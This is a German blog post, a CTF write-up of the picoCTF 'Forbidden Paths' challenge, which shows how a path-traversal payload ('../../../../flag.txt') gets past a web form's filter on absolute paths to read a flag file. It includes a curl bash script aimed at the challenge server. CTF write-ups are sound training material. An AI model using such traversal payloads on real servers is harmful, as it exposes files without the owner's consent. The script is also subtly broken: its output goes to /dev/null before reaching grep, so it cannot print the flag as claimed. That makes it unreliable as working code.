Ulli Weichert/ April 7, 2022/ IT-Security, Write-Ups/ 0Kommentare

Forbidden Paths

Description

Can you get the flag?
Here's the website.
We know that the website files live in '/usr/share/nginx/html/' and the flag is at '/flag.txt' but the website is filtering absolute file paths. Can you get past the filter to read the flag?

Solving

  1. Open the site and you will see a form, where you can read files.

  2. Some tests reveal, that we have some case of path-traversal

  3. lets try some path-traversal locations... like that:

    ../../../../flag.txt

  4. This script will get the flag for you, feel free to use it.

#!/bin/bash
curl -X POST "http://saturn.picoctf.net:52472/read.php" -d filename=../../../../flag.txt >/dev/null 2>&1 | grep -ho "picoCTF{.*}"
Share this Post

Über Ulli Weichert

2004 fing Ulli bei der Bundeswehr als Ausbilder und IT-Spezialist an. 2011 hat Ulli eine Umschulung zum Fachinformatiker für Systemintegration absolviert und sich auf Linux spezialisiert. 2016 hat Ulli dann bei einem mittelständischem Unternehmen, welches Kunden in ganz Deutschland betreut, als Linuxadministrator angefangen und kümmert sich seither nebst, Netzwerk, Security, Firewall, Storage überwiegend um Linuxthemen aller Art. Seit kurzem hat auch Ihn das Thema Container und k8s erwischt.

Hinterlasse einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

*
*